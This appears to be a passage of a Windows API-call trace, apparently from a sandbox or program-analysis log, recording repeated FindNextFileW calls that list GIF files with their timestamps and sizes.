	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14883_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14996_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14997_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15034_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15035_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be95800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9be95800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15072_.GIF", cAlternateFileName="")) returned 1
	[0052.024] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a8500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9d1a8500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15073_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15155_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15156_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15184_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15185_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6d4a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6d4a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15301_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7332a00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7332a00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15302_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e24d100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4e24d100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21303_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0150b00, ftCreationTime.dwHighDateTime=0x1bd4f54, ftLastAccessTime.dwLowDateTime=0xbcd306c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0150b00, ftLastWriteTime.dwHighDateTime=0x1bd4f54, nFileSizeHigh=0x0, nFileSizeLow=0x616, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21305_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf17ca00, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf17ca00, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21307_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56009300, ftCreationTime.dwHighDateTime=0x1bd4f53, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x56009300, ftLastWriteTime.dwHighDateTime=0x1bd4f53, nFileSizeHigh=0x0, nFileSizeLow=0xd1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21309_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d745b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd56820, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3d745b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x901, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21311_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b120100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3b120100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1a15, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21313_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x364d4d00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x364d4d00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21315_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb568300, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbb568300, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x11e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21318_.GIF", cAlternateFileName="")) returned 1
	[0052.025] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7128600, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7128600, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21319_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97933d00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97933d00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x664, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21320_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b19a00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcd7c980, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x85b19a00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x9c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21321_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f5c3b00, ftCreationTime.dwHighDateTime=0x1bd4f57, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f5c3b00, ftLastWriteTime.dwHighDateTime=0x1bd4f57, nFileSizeHigh=0x0, nFileSizeLow=0x4d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21322_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32b9c600, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32b9c600, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21323_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30576c00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x30576c00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x395, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21324_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2df51200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2df51200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21325_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dae8400, ftCreationTime.dwHighDateTime=0x1bd4f56, ftLastAccessTime.dwLowDateTime=0xbcda2ae0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dae8400, ftLastWriteTime.dwHighDateTime=0x1bd4f56, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21326_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a618b00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2a618b00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21328_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ff3100, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x27ff3100, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21330_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x246baa00, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdc8c40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x246baa00, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x1f91, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21332_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e75c900, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1e75c900, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x888, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21334_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4465be00, ftCreationTime.dwHighDateTime=0x1bd4f48, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4465be00, ftLastWriteTime.dwHighDateTime=0x1bd4f48, nFileSizeHigh=0x0, nFileSizeLow=0xaeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21336_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ae24200, ftCreationTime.dwHighDateTime=0x1bd4d50, ftLastAccessTime.dwLowDateTime=0xbcdeeda0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ae24200, ftLastWriteTime.dwHighDateTime=0x1bd4d50, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21338_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a537400, ftCreationTime.dwHighDateTime=0x1bd4f41, ftLastAccessTime.dwLowDateTime=0xbce14f00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7a537400, ftLastWriteTime.dwHighDateTime=0x1bd4f41, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21340_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a89600, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa7a89600, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x46b, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21348_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5462cc00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce3b060, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5462cc00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x8e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21370_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b3c00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce611c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8d9b3c00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21390_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7546300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7546300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21413_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd290b00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbce87320, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd290b00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x770, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21427_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97bc3b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbcead480, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97bc3b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21448_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b89da00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbced35e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5b89da00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21495_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93911d00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x93911d00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x34d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21512_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd4a4400, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcef9740, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd4a4400, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21527_.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15814600, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcf1f8a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15814600, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD21548_.GIF", cAlternateFileName="")) returned 1
